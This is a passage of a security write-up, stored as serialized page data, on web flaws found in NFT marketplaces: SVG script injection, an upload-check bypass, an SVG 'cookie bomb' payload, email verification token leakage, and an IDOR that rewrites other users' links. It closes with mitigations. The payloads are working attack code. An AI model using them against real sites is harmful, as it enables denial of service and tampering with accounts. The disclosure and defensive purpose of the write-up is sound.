xmlns",{"type":25,"tag":216,"props":38237,"children":38238},{"style":6947},[38239],{"type":31,"value":266},{"type":25,"tag":216,"props":38241,"children":38242},{"style":8199},[38243],{"type":31,"value":38244},"\"http://www.w3.org/2000/svg\"",{"type":25,"tag":216,"props":38246,"children":38247},{"style":36332},[38248],{"type":31,"value":9937},{"type":25,"tag":216,"props":38250,"children":38251},{"class":6916,"line":7104},[38252,38256,38261,38265,38269,38273,38277],{"type":25,"tag":216,"props":38253,"children":38254},{"style":36332},[38255],{"type":31,"value":36351},{"type":25,"tag":216,"props":38257,"children":38258},{"style":6930},[38259],{"type":31,"value":38260},"title",{"type":25,"tag":216,"props":38262,"children":38263},{"style":36332},[38264],{"type":31,"value":5896},{"type":25,"tag":216,"props":38266,"children":38267},{"style":6958},[38268],{"type":31,"value":35193},{"type":25,"tag":216,"props":38270,"children":38271},{"style":36332},[38272],{"type":31,"value":36386},{"type":25,"tag":216,"props":38274,"children":38275},{"style":6930},[38276],{"type":31,"value":38260},{"type":25,"tag":216,"props":38278,"children":38279},{"style":36332},[38280],{"type":31,"value":9937},{"type":25,"tag":216,"props":38282,"children":38283},{"class":6916,"line":7210},[38284,38288,38292,38296,38300,38305],{"type":25,"tag":216,"props":38285,"children":38286},{"style":36332},[38287],{"type":31,"value":36351},{"type":25,"tag":216,"props":38289,"children":38290},{"style":6930},[38291],{"type":31,"value":36372},{"type":25,"tag":216,"props":38293,"children":38294},{"style":6941},[38295],{"type":31,"value":36497},{"type":25,"tag":216,"props":38297,"children":38298},{"style":6947},[38299],{"type":31,"value":266},{"type":25,"tag":216,"props":38301,"children":38302},{"style":8199},[38303],{"type":31,"value":38304},"\"text/javascript\"",{"type":25,"tag":216,"props":38306,"children":38307},{"style":36332},[38308],{"type":31,"value":9937},{"type":25,"tag":216,"props":38310,"children":38311},{"class":6916,"line":7238},[38312],{"type":25,"tag":216,"props":38313,"children":38314},{"style":6958},[38315],{"type":31,"value":38316},"   alert(document.domain);\n",{"type":25,"tag":216,"props":38318,"children":38319},{"class":6916,"line":7251},[38320,38325,38329],{"type":25,"tag":216,"props":38321,"children":38322},{"style":36332},[38323],{"type":31,"value":38324},"   \u003C/",{"type":25,"tag":216,"props":38326,"children":38327},{"style":6930},[38328],{"type":31,"value":36372},{"type":25,"tag":216,"props":38330,"children":38331},{"style":36332},[38332],{"type":31,"value":9937},{"type":25,"tag":216,"props":38334,"children":38335},{"class":6916,"line":7269},[38336,38341,38345],{"type":25,"tag":216,"props":38337,"children":38338},{"style":36332},[38339],{"type":31,"value":38340}," \u003C/",{"type":25,"tag":216,"props":38342,"children":38343},{"style":6930},[38344],{"type":31,"value":38230},{"type":25,"tag":216,"props":38346,"children":38347},{"style":36332},[38348],{"type":31,"value":9937},{"type":25,"tag":38,"props":38350,"children":38351},{},[38352,38354,38361],{"type":31,"value":38353},"Although some marketplaces restrict the upload of SVG files, we discovered a way to bypass these checks. One particular instance involved the ",{"type":25,"tag":162,"props":38355,"children":38358},{"href":38356,"rel":38357},"https://xtingles.com/",[166],[38359],{"type":31,"value":38360},"xtingles Marketplace",{"type":31,"value":179},{"type":25,"tag":38,"props":38363,"children":38364},{},[38365],{"type":31,"value":38366},"Even though the file extension was validated based on its name, the content type was not checked. By renaming a file with an allowed extension and inserting an SVG file with the content type \"svg+xml,\", we were able to successfully upload the SVG file.",{"type":25,"tag":38,"props":38368,"children":38369},{},[38370],{"type":31,"value":38371},"Below, we show you how we did it.",{"type":25,"tag":38,"props":38373,"children":38374},{},[38375],{"type":31,"value":38376},"Request when the original SVG was sent, showing it is not accepted as format:",{"type":25,"tag":38,"props":38378,"children":38379},{},[38380],{"type":25,"tag":6461,"props":38381,"children":38383},{"alt":7,"src":38382},"/posts/web2-bug-repellant-instructions/svg-1.png",[],{"type":25,"tag":38,"props":38385,"children":38386},{},[38387],{"type":31,"value":38388},"After changing the extension inside the file name.",{"type":25,"tag":38,"props":38390,"children":38391},{},[38392],{"type":25,"tag":6461,"props":38393,"children":38395},{"alt":7,"src":38394},"/posts/web2-bug-repellant-instructions/svg-2.png",[],{"type":25,"tag":607,"props":38397,"children":38399},{"id":38398},"svgs-return",[38400],{"type":31,"value":38401},"SVGs Return",{"type":25,"tag":38,"props":38403,"children":38404},{},[38405],{"type":31,"value":38406},"We'll give credit where it's due. Some marketplaces mitigate the impact of XSS by storing images in IPFS, Amazon S3 buckets, or CloudFront.",{"type":25,"tag":38,"props":38408,"children":38409},{},[38410],{"type":31,"value":38411},"Unfortunately, this mitigation is still susceptible to a \"cookie bomb\" attack.",{"type":25,"tag":38,"props":38413,"children":38414},{},[38415],{"type":31,"value":38416},"This type of attack overwhelms a web server with an excessive number of cookies and can be used to achieve a Denial of Service (DoS), preventing users from accessing the file on the third-party service.",{"type":25,"tag":206,"props":38418,"children":38422},{"className":38419,"code":38420,"language":38421,"meta":7,"style":7},"language-jsx shiki shiki-themes slack-dark","\u003C?xml version=\"1.0\" encoding=\"UTF-8\"?>\n\u003C!DOCTYPE svg PUBLIC \"-//W3C//DTD SVG 1.1//EN\" \"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd\">\n\n \u003Csvg xmlns=\"http://www.w3.org/2000/svg\">\n  \u003Ctitle>XSS\u003C/title>\n  \u003Cscript type=\"text/javascript\">\n   var Take_Domain = window.location.hostname.split('.').slice(-2).join('.');\n   var Set_Cookie = Array(10000).join('a');\n\n   for (var i = 1; i \u003C 99; i++) {\n    document.cookie = 'Cookie' + i + '=' + Set_Cookie + ';Domain=' + Take_Domain;\n   }\n   \u003C/script>\n \u003C/svg>\n","jsx",[38423],{"type":25,"tag":82,"props":38424,"children":38425},{"__ignoreMap":7},[38426,38465,38496,38503,38530,38561,38588,38596,38604,38611,38623,38698,38706,38721],{"type":25,"tag":216,"props":38427,"children":38428},{"class":6916,"line":6917},[38429,38433,38437,38441,38445,38449,38453,38457,38461],{"type":25,"tag":216,"props":38430,"children":38431},{"style":6947},[38432],{"type":31,"value":38136},{"type":25,"tag":216,"props":38434,"children":38435},{"style":6941},[38436],{"type":31,"value":38141},{"type":25,"tag":216,"props":38438,"children":38439},{"style":6941},[38440],{"type":31,"value":38146},{"type":25,"tag":216,"props":38442,"children":38443},{"style":6947},[38444],{"type":31,"value":266},{"type":25,"tag":216,"props":38446,"children":38447},{"style":8199},[38448],{"type":31,"value":38155},{"type":25,"tag":216,"props":38450,"children":38451},{"style":6941},[38452],{"type":31,"value":38160},{"type":25,"tag":216,"props":38454,"children":38455},{"style":6947},[38456],{"type":31,"value":266},{"type":25,"tag":216,"props":38458,"children":38459},{"style":8199},[38460],{"type":31,"value":38169},{"type":25,"tag":216,"props":38462,"children":38463},{"style":6947},[38464],{"type":31,"value":38174},{"type":25,"tag":216,"props":38466,"children":38467},{"class":6916,"line":6763},[38468,38472,38476,38480,38484,38488,38492],{"type":25,"tag":216,"props":38469,"children":38470},{"style":6947},[38471],{"type":31,"value":38182},{"type":25,"tag":216,"props":38473,"children":38474},{"style":6941},[38475],{"type":31,"value":38187},{"type":25,"tag":216,"props":38477,"children":38478},{"style":6941},[38479],{"type":31,"value":38192},{"type":25,"tag":216,"props":38481,"children":38482},{"style":6941},[38483],{"type":31,"value":38197},{"type":25,"tag":216,"props":38485,"children":38486},{"style":8199},[38487],{"type":31,"value":38202},{"type":25,"tag":216,"props":38489,"children":38490},{"style":8199},[38491],{"type":31,"value":38207},{"type":25,"tag":216,"props":38493,"children":38494},{"style":6947},[38495],{"type":31,"value":9937},{"type":25,"tag":216,"props":38497,"children":38498},{"class":6916,"line":6772},[38499],{"type":25,"tag":216,"props":38500,"children":38501},{"emptyLinePlaceholder":16},[38502],{"type":31,"value":7636},{"type":25,"tag":216,"props":38504,"children":38505},{"class":6916,"line":6999},[38506,38510,38514,38518,38522,38526],{"type":25,"tag":216,"props":38507,"children":38508},{"style":36332},[38509],{"type":31,"value":12666},{"type":25,"tag":216,"props":38511,"children":38512},{"style":6930},[38513],{"type":31,"value":38230},{"type":25,"tag":216,"props":38515,"children":38516},{"style":6941},[38517],{"type":31,"value":38235},{"type":25,"tag":216,"props":38519,"children":38520},{"style":6947},[38521],{"type":31,"value":266},{"type":25,"tag":216,"props":38523,"children":38524},{"style":8199},[38525],{"type":31,"value":38244},{"type":25,"tag":216,"props":38527,"children":38528},{"style":36332},[38529],{"type":31,"value":9937},{"type":25,"tag":216,"props":38531,"children":38532},{"class":6916,"line":7104},[38533,38537,38541,38545,38549,38553,38557],{"type":25,"tag":216,"props":38534,"children":38535},{"style":36332},[38536],{"type":31,"value":36351},{"type":25,"tag":216,"props":38538,"children":38539},{"style":6930},[38540],{"type":31,"value":38260},{"type":25,"tag":216,"props":38542,"children":38543},{"style":36332},[38544],{"type":31,"value":5896},{"type":25,"tag":216,"props":38546,"children":38547},{"style":6958},[38548],{"type":31,"value":35193},{"type":25,"tag":216,"props":38550,"children":38551},{"style":36332},[38552],{"type":31,"value":36386},{"type":25,"tag":216,"props":38554,"children":38555},{"style":6930},[38556],{"type":31,"value":38260},{"type":25,"tag":216,"props":38558,"children":38559},{"style":36332},[38560],{"type":31,"value":9937},{"type":25,"tag":216,"props":38562,"children":38563},{"class":6916,"line":7210},[38564,38568,38572,38576,38580,38584],{"type":25,"tag":216,"props":38565,"children":38566},{"style":36332},[38567],{"type":31,"value":36351},{"type":25,"tag":216,"props":38569,"children":38570},{"style":6930},[38571],{"type":31,"value":36372},{"type":25,"tag":216,"props":38573,"children":38574},{"style":6941},[38575],{"type":31,"value":36497},{"type":25,"tag":216,"props":38577,"children":38578},{"style":6947},[38579],{"type":31,"value":266},{"type":25,"tag":216,"props":38581,"children":38582},{"style":8199},[38583],{"type":31,"value":38304},{"type":25,"tag":216,"props":38585,"children":38586},{"style":36332},[38587],{"type":31,"value":9937},{"type":25,"tag":216,"props":38589,"children":38590},{"class":6916,"line":7238},[38591],{"type":25,"tag":216,"props":38592,"children":38593},{"style":6958},[38594],{"type":31,"value":38595},"   var Take_Domain = window.location.hostname.split('.').slice(-2).join('.');\n",{"type":25,"tag":216,"props":38597,"children":38598},{"class":6916,"line":7251},[38599],{"type":25,"tag":216,"props":38600,"children":38601},{"style":6958},[38602],{"type":31,"value":38603},"   var Set_Cookie = Array(10000).join('a');\n",{"type":25,"tag":216,"props":38605,"children":38606},{"class":6916,"line":7269},[38607],{"type":25,"tag":216,"props":38608,"children":38609},{"emptyLinePlaceholder":16},[38610],{"type":31,"value":7636},{"type":25,"tag":216,"props":38612,"children":38613},{"class":6916,"line":7290},[38614,38619],{"type":25,"tag":216,"props":38615,"children":38616},{"style":6958},[38617],{"type":31,"value":38618},"   for (var i = 1; i \u003C 99; i++) ",{"type":25,"tag":216,"props":38620,"children":38621},{"style":6930},[38622],{"type":31,"value":14830},{"type":25,"tag":216,"props":38624,"children":38625},{"class":6916,"line":7299},[38626,38631,38635,38640,38644,38649,38654,38658,38662,38667,38671,38676,38680,38685,38689,38694],{"type":25,"tag":216,"props":38627,"children":38628},{"style":6941},[38629],{"type":31,"value":38630},"    document",{"type":25,"tag":216,"props":38632,"children":38633},{"style":6947},[38634],{"type":31,"value":179},{"type":25,"tag":216,"props":38636,"children":38637},{"style":6941},[38638],{"type":31,"value":38639},"cookie",{"type":25,"tag":216,"props":38641,"children":38642},{"style":6947},[38643],{"type":31,"value":4977},{"type":25,"tag":216,"props":38645,"children":38646},{"style":8199},[38647],{"type":31,"value":38648},"'Cookie'",{"type":25,"tag":216,"props":38650,"children":38651},{"style":6947},[38652],{"type":31,"value":38653}," + ",{"type":25,"tag":216,"props":38655,"children":38656},{"style":6941},[38657],{"type":31,"value":2283},{"type":25,"tag":216,"props":38659,"children":38660},{"style":6947},[38661],{"type":31,"value":38653},{"type":25,"tag":216,"props":38663,"children":38664},{"style":8199},[38665],{"type":31,"value":38666},"'='",{"type":25,"tag":216,"props":38668,"children":38669},{"style":6947},[38670],{"type":31,"value":38653},{"type":25,"tag":216,"props":38672,"children":38673},{"style":6941},[38674],{"type":31,"value":38675},"Set_Cookie",{"type":25,"tag":216,"props":38677,"children":38678},{"style":6947},[38679],{"type":31,"value":38653},{"type":25,"tag":216,"props":38681,"children":38682},{"style":8199},[38683],{"type":31,"value":38684},"';Domain='",{"type":25,"tag":216,"props":38686,"children":38687},{"style":6947},[38688],{"type":31,"value":38653},{"type":25,"tag":216,"props":38690,"children":38691},{"style":6941},[38692],{"type":31,"value":38693},"Take_Domain",{"type":25,"tag":216,"props":38695,"children":38696},{"style":6947},[38697],{"type":31,"value":6961},{"type":25,"tag":216,"props":38699,"children":38700},{"class":6916,"line":7551},[38701],{"type":25,"tag":216,"props":38702,"children":38703},{"style":6930},[38704],{"type":31,"value":38705},"   }\n",{"type":25,"tag":216,"props":38707,"children":38708},{"class":6916,"line":7568},[38709,38713,38717],{"type":25,"tag":216,"props":38710,"children":38711},{"style":36332},[38712],{"type":31,"value":38324},{"type":25,"tag":216,"props":38714,"children":38715},{"style":6930},[38716],{"type":31,"value":36372},{"type":25,"tag":216,"props":38718,"children":38719},{"style":36332},[38720],{"type":31,"value":9937},{"type":25,"tag":216,"props":38722,"children":38723},{"class":6916,"line":7585},[38724,38728,38732],{"type":25,"tag":216,"props":38725,"children":38726},{"style":36332},[38727],{"type":31,"value":38340},{"type":25,"tag":216,"props":38729,"children":38730},{"style":6930},[38731],{"type":31,"value":38230},{"type":25,"tag":216,"props":38733,"children":38734},{"style":36332},[38735],{"type":31,"value":9937},{"type":25,"tag":38,"props":38737,"children":38738},{},[38739],{"type":31,"value":38740},"As a result, we're able to prevent the user from loading images.",{"type":25,"tag":26,"props":38742,"children":38744},{"id":38743},"authentication",[38745],{"type":31,"value":38746},"Authentication",{"type":25,"tag":38,"props":38748,"children":38749},{},[38750],{"type":25,"tag":64,"props":38751,"children":38752},{},[38753,38755,38762],{"type":31,"value":38754},"The door could not be heard slamming; they had probably left it open, as is the custom in homes where a ",{"type":25,"tag":162,"props":38756,"children":38759},{"href":38757,"rel":38758},"https://auth0.com/docs/get-started/identity-fundamentals/authentication-and-authorization",[166],[38760],{"type":31,"value":38761},"great misfortune has occured",{"type":31,"value":179},{"type":25,"tag":607,"props":38764,"children":38766},{"id":38765},"verification-token-leakage",[38767],{"type":31,"value":38768},"Verification Token Leakage",{"type":25,"tag":38,"props":38770,"children":38771},{},[38772],{"type":31,"value":38773},"When a user signs up for a service or creates an account that requires email verification, the system generates a unique token and sends it to the provided email address.",{"type":25,"tag":38,"props":38775,"children":38776},{},[38777],{"type":31,"value":38778},"This token is usually a random combination of letters, numbers, and symbols that are designed to be difficult to guess. The user is then instructed to verify their email by clicking a link that was sent to their inbox. However, if the email verification flow is not implemented correctly, it can result in security vulnerabilities.",{"type":25,"tag":38,"props":38780,"children":38781},{},[38782,38787],{"type":25,"tag":64,"props":38783,"children":38784},{},[38785],{"type":31,"value":38786},"Proof of Concept",{"type":31,"value":38788},"\nWhile reviewing the Tensor website source code, we found a feature that allowed us to send verification emails to any email with a spoofed verification link. This could potentially result in the leakage of email verification codes, enabling an attacker to associate a victim’s email with their own account.",{"type":25,"tag":38,"props":38790,"children":38791},{},[38792],{"type":31,"value":38793},"Here's the breakdown.",{"type":25,"tag":38,"props":38795,"children":38796},{},[38797],{"type":31,"value":38798},"First, we send the verification link to a user's email:",{"type":25,"tag":35302,"props":38800,"children":38801},{"style":35304},[38802],{"type":25,"tag":6461,"props":38803,"children":38807},{"src":38804,"alt":38805,"style":38806},"/posts/web2-bug-repellant-instructions/token-leakage.png","token-leakage","max-height:650px;",[],{"type":25,"tag":38,"props":38809,"children":38810},{},[38811],{"type":31,"value":38812},"If the user clicks on the spoofed URL, their token will be stolen, allowing the attacker to link their account to the victim’s email.",{"type":25,"tag":607,"props":38814,"children":38816},{"id":38815},"idor",[38817],{"type":31,"value":38818},"IDOR",{"type":25,"tag":38,"props":38820,"children":38821},{},[38822],{"type":25,"tag":64,"props":38823,"children":38824},{},[38825,38827,38834],{"type":31,"value":38826},"As Gregor Samsa awoke one morning from uneasy dreams he found himself transformed in his bed into a gigantic ",{"type":25,"tag":162,"props":38828,"children":38831},{"href":38829,"rel":38830},"https://cheatsheetseries.owasp.org/cheatsheets/Insecure_Direct_Object_Reference_Prevention_Cheat_Sheet.html",[166],[38832],{"type":31,"value":38833},"insect",{"type":31,"value":179},{"type":25,"tag":38,"props":38836,"children":38837},{},[38838,38840,38846],{"type":31,"value":38839},"During a security assessment of the ",{"type":25,"tag":162,"props":38841,"children":38844},{"href":38842,"rel":38843},"https://rocki.com",[166],[38845],{"type":31,"value":35240},{"type":31,"value":38847},", a critical vulnerability known as an Insecure Direct Object Reference (IDOR) was identified within the social link modification functionality. Exploiting this vulnerability enables an attacker to modify the social media links of other users without proper authorization.",{"type":25,"tag":38,"props":38849,"children":38850},{},[38851],{"type":31,"value":38852},"The specific vulnerable endpoint was identified as a POST request to /api/user/modifySocialLink, which is responsible for handling requests to update social media links associated with user accounts. This endpoint requires two parameters: \"newLink\" to specify the desired social media link and \"id\" to indicate the user's ID.",{"type":25,"tag":38,"props":38854,"children":38855},{},[38856],{"type":31,"value":38857},"Now, to exploit this vulnerability, an attacker can intercept or modify the request being sent to the \"POST /api/user/modifySocialLink\" endpoint. By manipulating the \"id\" parameter with the user ID of another user, the attacker is able to bypass proper authorization checks and modify the social media link associated with the targeted user's account.",{"type":25,"tag":38,"props":38859,"children":38860},{},[38861,38863,38869,38871,38876],{"type":31,"value":38862},"Here is an example of a request that modifies another user's social media link to ",{"type":25,"tag":82,"props":38864,"children":38866},{"className":38865},[],[38867],{"type":31,"value":38868},"https://evil.com/",{"type":31,"value":38870},". To achieve this, we simply changed the ",{"type":25,"tag":82,"props":38872,"children":38874},{"className":38873},[],[38875],{"type":31,"value":7437},{"type":31,"value":38877}," field value to one that belongs to another user:",{"type":25,"tag":38,"props":38879,"children":38880},{},[38881],{"type":25,"tag":6461,"props":38882,"children":38884},{"alt":7,"src":38883},"/posts/web2-bug-repellant-instructions/idor-1.png",[],{"type":25,"tag":38,"props":38886,"children":38887},{},[38888],{"type":31,"value":38889},"The following screenshot is the response to our request:",{"type":25,"tag":38,"props":38891,"children":38892},{},[38893],{"type":25,"tag":6461,"props":38894,"children":38896},{"alt":7,"src":38895},"/posts/web2-bug-repellant-instructions/idor-2.png",[],{"type":25,"tag":26,"props":38898,"children":38900},{"id":38899},"preventative-action-steps-for-marketplaces",[38901],{"type":25,"tag":9267,"props":38902,"children":38903},{},[38904],{"type":31,"value":38905},"Preventative Action Steps for Marketplaces",{"type":25,"tag":38,"props":38907,"children":38908},{},[38909],{"type":31,"value":38910},"To mitigate the vulnerabilities we’ve discussed, NFT marketplaces must prioritize the implementation of robust security measures. Below, we outline potential mitigations that can help platforms enhance their security posture and protect users and their valuable digital assets.",{"type":25,"tag":38,"props":38912,"children":38913},{},[38914,38916,38922,38924,38930],{"type":31,"value":38915},"First and foremost, NFT marketplaces should prioritize security by strengthening their input validation and output encoding processes. This can be done by encoding untrusted data with HTML entities in backend or using ",{"type":25,"tag":82,"props":38917,"children":38919},{"className":38918},[],[38920],{"type":31,"value":38921},"innerText",{"type":31,"value":38923}," instead of ",{"type":25,"tag":82,"props":38925,"children":38927},{"className":38926},[],[38928],{"type":31,"value":38929},"innerHTML",{"type":31,"value":38931}," in client-side:",{"type":25,"tag":206,"props":38933,"children":38935},{"className":35319,"code":38934,"language":35321,"meta":7,"style":7},"document.getElementById('nftCollectionName').innerText = nftCollectionName;\n",[38936],{"type":25,"tag":82,"props":38937,"children":38938},{"__ignoreMap":7},[38939],{"type":25,"tag":216,"props":38940,"children":38941},{"class":6916,"line":6917},[38942,38946,38950,38955,38959,38964,38968,38972,38976,38981],{"type":25,"tag":216,"props":38943,"children":38944},{"style":6941},[38945],{"type":31,"value":36664},{"type":25,"tag":216,"props":38947,"children":38948},{"style":6958},[38949],{"type":31,"value":179},{"type":25,"tag":216,"props":38951,"children":38952},{"style":7041},[38953],{"type":31,"value":38954},"getElementById",{"type":25,"tag":216,"props":38956,"children":38957},{"style":6958},[38958],{"type":31,"value":1844},{"type":25,"tag":216,"props":38960,"children":38961},{"style":8199},[38962],{"type":31,"value":38963},"'nftCollectionName'",{"type":25,"tag":216,"props":38965,"children":38966},{"style":6958},[38967],{"type":31,"value":24696},{"type":25,"tag":216,"props":38969,"children":38970},{"style":6941},[38971],{"type":31,"value":38921},{"type":25,"tag":216,"props":38973,"children":38974},{"style":6947},[38975],{"type":31,"value":6950},{"type":25,"tag":216,"props":38977,"children":38978},{"style":6941},[38979],{"type":31,"value":38980}," nftCollectionName",{"type":25,"tag":216,"props":38982,"children":38983},{"style":6958},[38984],{"type":31,"value":6961},{"type":25,"tag":38,"props":38986,"children":38987},{},[38988],{"type":31,"value":38989},"However, rendering HTML or markdown user input is intended. In these cases, dangerous HTML tags need to be validated and sanitized via consolidated libraries like DomPurify:",{"type":25,"tag":206,"props":38991,"children":38993},{"className":35319,"code":38992,"language":35321,"meta":7,"style":7},"var sanitizedInput = DOMPurify.sanitize(userInput);\n",[38994],{"type":25,"tag":82,"props":38995,"children":38996},{"__ignoreMap":7},[38997],{"type":25,"tag":216,"props":38998,"children":38999},{"class":6916,"line":6917},[39000,39005,39010,39014,39019,39023,39028,39032,39037],{"type":25,"tag":216,"props":39001,"children":39002},{"style":6930},[39003],{"type":31,"value":39004},"var",{"type":25,"tag":216,"props":39006,"children":39007},{"style":6941},[39008],{"type":31,"value":39009}," sanitizedInput",{"type":25,"tag":216,"props":39011,"children":39012},{"style":6947},[39013],{"type":31,"value":6950},{"type":25,"tag":216,"props":39015,"children":39016},{"style":6941},[39017],{"type":31,"value":39018}," DOMPurify",{"type":25,"tag":216,"props":39020,"children":39021},{"style":6958},[39022],{"type":31,"value":179},{"type":25,"tag":216,"props":39024,"children":39025},{"style":7041},[39026],{"type":31,"value":39027},"sanitize",{"type":25,"tag":216,"props":39029,"children":39030},{"style":6958},[39031],{"type":31,"value":1844},{"type":25,"tag":216,"props":39033,"children":39034},{"style":6941},[39035],{"type":31,"value":39036},"userInput",{"type":25,"tag":216,"props":39038,"children":39039},{"style":6958},[39040],{"type":31,"value":7791},{"type":25,"tag":38,"props":39042,"children":39043},{},[39044,39046,39053],{"type":31,"value":39045},"This can effectively mitigate the risk of XSS attacks. With that being said, implementing security measures such as ",{"type":25,"tag":162,"props":39047,"children":39050},{"href":39048,"rel":39049},"https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP",[166],[39051],{"type":31,"value":39052},"Content-Security-Policy",{"type":31,"value":39054}," (CSP) will help ensure that generated content is rendered safely, without compromising the platform's security.",{"type":25,"tag":38,"props":39056,"children":39057},{},[39058],{"type":31,"value":39059},"Furthermore, a key step is for NFT marketplaces to establish strict file upload policies. By conducting thorough checks on file types and content, platforms can prevent the upload of potentially malicious SVG files. Validating both the file extension and content type will significantly reduce the risk of SVG-based XSS attacks, ensuring a safer user experience.",{"type":25,"tag":38,"props":39061,"children":39062},{},[39063,39065,39072],{"type":31,"value":39064},"Another precaution is to implement secure redirect mechanisms. By implementing a server-side allow-list of trusted domains, NFT marketplaces can prevent open redirect vulnerabilities. This ensures that users are directed only to trusted and intended domains, safeguarding them from potential phishing or malicious attacks where the authentication code is leaked. Here we are showing an example of a secure redirect by applying an ",{"type":25,"tag":162,"props":39066,"children":39069},{"href":39067,"rel":39068},"https://www.techtarget.com/whatis/definition/whitelist",[166],[39070],{"type":31,"value":39071},"allow-list",{"type":31,"value":39073}," :",{"type":25,"tag":206,"props":39075,"children":39077},{"className":35319,"code":39076,"language":35321,"meta":7,"style":7},"const allowDomains = ['https://allowed-domain'];\nif (!allowDomains.includes(domain)) {\n  throw new ApolloError('invalid domain');\n}\n",[39078],{"type":25,"tag":82,"props":39079,"children":39080},{"__ignoreMap":7},[39081,39110,39152,39182],{"type":25,"tag":216,"props":39082,"children":39083},{"class":6916,"line":6917},[39084,39088,39093,39097,39101,39106],{"type":25,"tag":216,"props":39085,"children":39086},{"style":6930},[39087],{"type":31,"value":13605},{"type":25,"tag":216,"props":39089,"children":39090},{"style":6941},[39091],{"type":31,"value":39092}," allowDomains",{"type":25,"tag":216,"props":39094,"children":39095},{"style":6947},[39096],{"type":31,"value":6950},{"type":25,"tag":216,"props":39098,"children":39099},{"style":6958},[39100],{"type":31,"value":26972},{"type":25,"tag":216,"props":39102,"children":39103},{"style":8199},[39104],{"type":31,"value":39105},"'https://allowed-domain'",{"type":25,"tag":216,"props":39107,"children":39108},{"style":6958},[39109],{"type":31,"value":35530},{"type":25,"tag":216,"props":39111,"children":39112},{"class":6916,"line":6763},[39113,39117,39121,39125,39130,39134,39139,39143,39147],{"type":25,"tag":216,"props":39114,"children":39115},{"style":6967},[39116],{"type":31,"value":19531},{"type":25,"tag":216,"props":39118,"children":39119},{"style":6958},[39120],{"type":31,"value":7010},{"type":25,"tag":216,"props":39122,"children":39123},{"style":6947},[39124],{"type":31,"value":24575},{"type":25,"tag":216,"props":39126,"children":39127},{"style":6941},[39128],{"type":31,"value":39129},"allowDomains",{"type":25,"tag":216,"props":39131,"children":39132},{"style":6958},[39133],{"type":31,"value":179},{"type":25,"tag":216,"props":39135,"children":39136},{"style":7041},[39137],{"type":31,"value":39138},"includes",{"type":25,"tag":216,"props":39140,"children":39141},{"style":6958},[39142],{"type":31,"value":1844},{"type":25,"tag":216,"props":39144,"children":39145},{"style":6941},[39146],{"type":31,"value":36674},{"type":25,"tag":216,"props":39148,"children":39149},{"style":6958},[39150],{"type":31,"value":39151},")) {\n",{"type":25,"tag":216,"props":39153,"children":39154},{"class":6916,"line":6772},[39155,39160,39164,39169,39173,39178],{"type":25,"tag":216,"props":39156,"children":39157},{"style":6967},[39158],{"type":31,"value":39159},"  throw",{"type":25,"tag":216,"props":39161,"children":39162},{"style":6930},[39163],{"type":31,"value":35889},{"type":25,"tag":216,"props":39165,"children":39166},{"style":7041},[39167],{"type":31,"value":39168}," ApolloError",{"type":25,"tag":216,"props":39170,"children":39171},{"style":6958},[39172],{"type":31,"value":1844},{"type":25,"tag":216,"props":39174,"children":39175},{"style":8199},[39176],{"type":31,"value":39177},"'invalid domain'",{"type":25,"tag":216,"props":39179,"children":39180},{"style":6958},[39181],{"type":31,"value":7791},{"type":25,"tag":216,"props":39183,"children":39184},{"class":6916,"line":6999},[39185],{"type":25,"tag":216,"props":39186,"children":39187},{"style":6958},[39188],{"type":31,"value":7868},{"type":25,"tag":38,"props":39190,"children":39191},{},[39192,39194,39201,39203,39210],{"type":31,"value":39193},"As ",{"type":25,"tag":162,"props":39195,"children":39198},{"href":39196,"rel":39197},"https://graphql.org/",[166],[39199],{"type":31,"value":39200},"GraphQl",{"type":31,"value":39202}," is widely utilized by NFT marketplaces, it is crucial to understand the reasons behind disabling certain features like ",{"type":25,"tag":162,"props":39204,"children":39207},{"href":39205,"rel":39206},"https://graphql.org/learn/introspection/",[166],[39208],{"type":31,"value":39209},"introspection",{"type":31,"value":39211}," in production environments. By disabling introspection, it ensures that clients are unable to query the API's schema, preventing the potential exposure of sensitive information regarding its structure and implementation. Below, we provide an example of how to achieve this using the Apollo server:",{"type":25,"tag":206,"props":39213,"children":39215},{"className":35319,"code":39214,"language":35321,"meta":7,"style":7},"const server = new ApolloServer({\n  typeDefs,\n  resolvers,\n  introspection: false,\n});\n",[39216],{"type":25,"tag":82,"props":39217,"children":39218},{"__ignoreMap":7},[39219,39248,39260,39272,39288],{"type":25,"tag":216,"props":39220,"children":39221},{"class":6916,"line":6917},[39222,39226,39231,39235,39239,39244],{"type":25,"tag":216,"props":39223,"children":39224},{"style":6930},[39225],{"type":31,"value":13605},{"type":25,"tag":216,"props":39227,"children":39228},{"style":6941},[39229],{"type":31,"value":39230}," server",{"type":25,"tag":216,"props":39232,"children":39233},{"style":6947},[39234],{"type":31,"value":6950},{"type":25,"tag":216,"props":39236,"children":39237},{"style":6930},[39238],{"type":31,"value":35889},{"type":25,"tag":216,"props":39240,"children":39241},{"style":7041},[39242],{"type":31,"value":39243}," ApolloServer",{"type":25,"tag":216,"props":39245,"children":39246},{"style":6958},[39247],{"type":31,"value":19092},{"type":25,"tag":216,"props":39249,"children":39250},{"class":6916,"line":6763},[39251,39256],{"type":25,"tag":216,"props":39252,"children":39253},{"style":6941},[39254],{"type":31,"value":39255},"  typeDefs",{"type":25,"tag":216,"props":39257,"children":39258},{"style":6958},[39259],{"type":31,"value":7459},{"type":25,"tag":216,"props":39261,"children":39262},{"class":6916,"line":6772},[39263,39268],{"type":25,"tag":216,"props":39264,"children":39265},{"style":6941},[39266],{"type":31,"value":39267},"  resolvers",{"type":25,"tag":216,"props":39269,"children":39270},{"style":6958},[39271],{"type":31,"value":7459},{"type":25,"tag":216,"props":39273,"children":39274},{"class":6916,"line":6999},[39275,39280,39284],{"type":25,"tag":216,"props":39276,"children":39277},{"style":6941},[39278],{"type":31,"value":39279},"  introspection:",{"type":25,"tag":216,"props":39281,"children":39282},{"style":6930},[39283],{"type":31,"value":13006},{"type":25,"tag":216,"props":39285,"children":39286},{"style":6958},[39287],{"type":31,"value":7459},{"type":25,"tag":216,"props":39289,"children":39290},{"class":6916,"line":7104},[39291],{"type":25,"tag":216,"props":39292,"children":39293},{"style":6958},[39294],{"type":31,"value":39295},"});\n",{"type":25,"tag":38,"props":39297,"children":39298},{},[39299,39301,39308,39310,39317],{"type":31,"value":39300},"Similarly, when ",{"type":25,"tag":162,"props":39302,"children":39305},{"href":39303,"rel":39304},"https://www.apollographql.com/blog/apollo-client/performance/batching-client-graphql-queries/",[166],[39306],{"type":31,"value":39307},"batching",{"type":31,"value":39309}," is enabled, the code should limit the number of queries that can run simultaneously and implement object request rate limiting. This additional measure helps protect the website from potential 